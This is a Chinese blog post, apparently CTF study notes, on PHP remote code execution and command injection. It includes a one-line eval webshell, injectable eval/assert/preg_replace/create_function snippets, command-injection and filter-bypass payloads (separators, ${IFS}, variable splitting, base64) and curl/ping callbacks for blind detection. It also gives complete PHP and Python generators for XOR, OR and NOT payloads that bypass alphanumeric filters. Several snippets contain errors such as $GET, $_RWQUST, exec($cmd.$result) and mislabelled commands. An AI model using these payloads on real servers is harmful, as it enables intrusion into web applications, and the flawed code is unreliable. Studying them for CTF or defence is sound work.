首页 > 其他分享 >web渗透—RCE

web渗透—RCE

时间:2024-08-05 21:39:15浏览次数:12  
标签:web 函数 渗透 cmd ls RCE action import 执行

一:代码执行

  • 相关函数

1、eval()函数与assert()函数

(1)原理:将用户提交或者传递的字符串当作php代码执行;最终造成命令执行漏洞

(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")

eg:

<?php
    highlight_file(__FILE__);//高亮显示代码
    $cmd = $_GET['cmd']
    //GET传值:url/?cmd=phpinfo();
    eval('$cmd');//必须传递一个完整语句;参数后面必须加分号!
    assert('$cmd');//可以不加分号!
?>
//一句话木马的介绍
<?php eval($_POST["cmd"]);?>

2、preg_replace()

原理:执行一个正则表达式的搜素和替换;其中存在一个危险的字符/e 修饰符;使preg_replace()将replaement参数当作php代码执行

<?php
    highlight_file(__FILE__);
    preg_replace('/abc/e',$_RWQUST['cmd'],'abcd');
    //GET传值方式:url/?cmd=phpinfo()
    preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?>
    //如果匹配到abc,就会将用户传递进来的参数当作php代码进行执行

3、自定义函数

(1)create_function(string $args,string $code)主要用来创建匿名函数;如果没有对传递参数进行过滤;攻击者可以构造特殊的字符串来执行任意命令

<?php
    $cmd = $_GET['cmd'];
    //GET传值方式:url/?cmd=phpinfo();
    $func = create_function('',$_REQUEST['cmd']);
    $func();
?>

(2)自定义函数回调执行任意命令

<?php
    回调函数
    //echo is_callable('assert');
    //可以回调显示1;否则显示0;根据回显函数执行系统命令
    call_user_func函数
    //call_user_func('assert',$GET['cmd'])
    // GET传值:url/?cmd=phpinfo()
    call_user_func_array函数
    //$cmd = $GET['cmd']
    //call_user_func_array('assert',$array)
    //以数组的方式传递;GET传值方式:url/?cmd[]=phpinfo()
?>

4、动态函数

<?php
    //定义函数输出a
    function a(){
        echo 'a';
    }
   //定义函数输出b
   function b(){
        echo 'b';
    }
    //判断是否通过GET方式传递了func参数
    if(isset($_GET["func"]))){
        //接受传递的参数
        $myfunc = $GET["func"];
        //调用函数执行传递进来的命令
        echo $myfunc();
    }
// url?func=phpinfo
?>

二:命令执行

  • 命令执行相关函数

(1)system()函数

eg:

system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容

(2)exec(参数,执行结果)函数

eg:

<?php
    highlight_file(__FILE__);
    $cmd = $GET['cmd'];
    exec($cmd.$result);
    //执行用户传递进来的参数;并将结果赋值给$result
    echo $result;
    var_dump($result)
    //输出执行命令的参数
?>

(3)shell_exec()函数与passthru函数

与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果

<?php
    highlight_file(__FILE__);
    $cmd = $GET['cmd'];
    //$output = shell_exec(cmd);
    //echo $output

    //passthru($cmd);
?>

(4)反引号

与shell_exec原理相同;对传递进来的cmd参数用反引号括起来就行

  • 防御措施

image-20240805162901567

  • 命令执行分类

(1)延时执行

ls -alh|sleep 3
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行;f12在网络中看响应时间

(2)HTTP请求

# 使用nc 和 curl结合使用;判断是否请求成功
nc -lcf 8000
curl ip 8000 //如果nc处有回显信息说明请求连接成功

(3)DNS请求

# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在
  • 命令执行passby

(1)echo拼接(用.进行拼接)

image-20240805165854336

换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||)
GET传值方式 
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig

(2)linux中空格的过滤

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
eg:
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php

(3)关键字系统命令被过滤

;a=l;b=s;$a$b<==>ls
GET传值:url/?cmd=pwd;;a=l;b=s;$a$b

(4)base64编码进行绕过

image-20240805171750726

三:无数字字母的命令执行

(1)在ctf题目当中;我们会碰到过滤字母和数字的情况;可以通过异或;取反;自增;或进行绕过

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

(2)异或绕过

eg1: 5和z进行异或

原理:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010;异或一下就是1101111;转化为asscii就是o

image-20240805211941265

异或脚本

// rce_xor.php
<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# rce_xor.py

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

eg:

image-20240805213202314

(3)或绕过

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

(4)取反绕过

<?php
//在命令行中运行
// 取反
// 无数字字母getshell

while(true) {
    fwrite(STDOUT,PHP_EOL.'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

标签:web,函数,渗透,cmd,ls,RCE,action,import,执行
From: https://www.cnblogs.com/gsupl/p/18344107

相关文章

  • Bugku -----Web-----全题目解析 (二) 超详细步骤
    ————————————————————分割线———————————————————— 6.矛盾这一行从URL查询字符串中获取名为num的参数值,并将其赋值给$num变量。如果URL中没有提供num参数,或者参数值不是有效的字符串,则$num将被设置为空或者默认值。......
  • 【待做】【域渗透】获取域控方法总结
    搭建虚拟环境【域控】,192.168.10.3【域成员】,192.168.10.4工具mimikatzprocdump64在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限。在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、......
  • SourceCodester v1.0 SQL 注入漏洞(CVE-2023-2130)靶场复现
    SourceCodesterPurchaseOrderManagementSystemv1.0是一个实用的工具,适合希望优化采购流程的企业和组织靶场界面直接放sqlmap跑爆数据库爆数据表爆字段爆内容-用户名爆内容-密码sqlmap的md5碰撞sqlmap所有命令点击查看代码爆数据库pythonsqlmap.py-u......
  • Codeforces Round 963 (Div. 2) D题解
    CodeforcesRound963D题目描述给定两个正整数n和k以及另一个由n个整数组成的数组a。在一次操作中,可以选择a中大小为k的任意一个子数组,然后将其从数组中删除,而不改变其他元素的顺序。更正式地说,假设(l,r)是对子数组a[l],a[l+1],...,a[r]的操作,使得r-l+1......
  • 免费为您的网页创建在线客服,扣子(COZE) WEB SDK图文使用教程
    ......
  • 词云图大师(WordCloudMaster)上线Web端!
    我们非常激动地宣布,词云图大师(WordCloudMaster)现已正式上线Web端!这一全新版本为用户带来了更多的便捷和功能,让创建和分享词云变得更加轻松。无论是企业、教育机构还是个人用户,都可以通过Web端实现快速生成和定制属于自己的词云图。https://studio.wordcloudmaster.com/无缝体验......
  • 如何获取部署在 Azure 应用服务上并通过 Microsoft 身份提供商进行身份验证的 Python
    我使用PythonDash包构建了一个Web应用程序,并将该应用程序部署在Azure应用服务上。Web应用程序当前通过Azure门户的应用程序服务使用Microsoft身份提供程序进行身份验证。但是如何获取登录用户的详细信息呢?在本地运行时如何验证我的Web应用程序?我当前的登录流......
  • 解决境内无法访问Vercel项目
    解决境内无法访问Vercel项目通过Vercel绑定自定义域名,以实现国内访问Vercel部署的项目。以下是具体步骤:以腾讯云为例,进入“域名注册”-“我的域名”-“解析”-“添加记录”-"添加主机记录(@、www)和记录值(76.76.21.21)"。回到Vercel已部署项目的设置页面,进入“Settings”-......
  • AMI-1 是一种有效的、具有细胞渗透性和可逆性的蛋白精氨酸 N-甲基转移酶 (PRMT) 抑制
    CAS:20324-87-2品牌:MedChemExpress(MCE)存储条件:4°C,sealedstorage,awayfrommoisture生物活性:AMI-1是一种有效的、具有细胞渗透性和可逆性的蛋白精氨酸N-甲基转移酶(PRMT) 抑制剂,IC50 为8.8人PRMT1和酵母Hmt1p分别为μM和3.0μM。AMI-1通过阻断肽-底......
  • ctf_web_sql
    1,union联合注入(1)万能密码and优先级高于or,先执行and;则username="用户提交"andpassword="1"为假;or后面的条件恒为真;则where条件为真;输出admin表中所有的信息select*fromadminwhereusername="用户提交"andpassword="1"or"1"="1"bp万能密......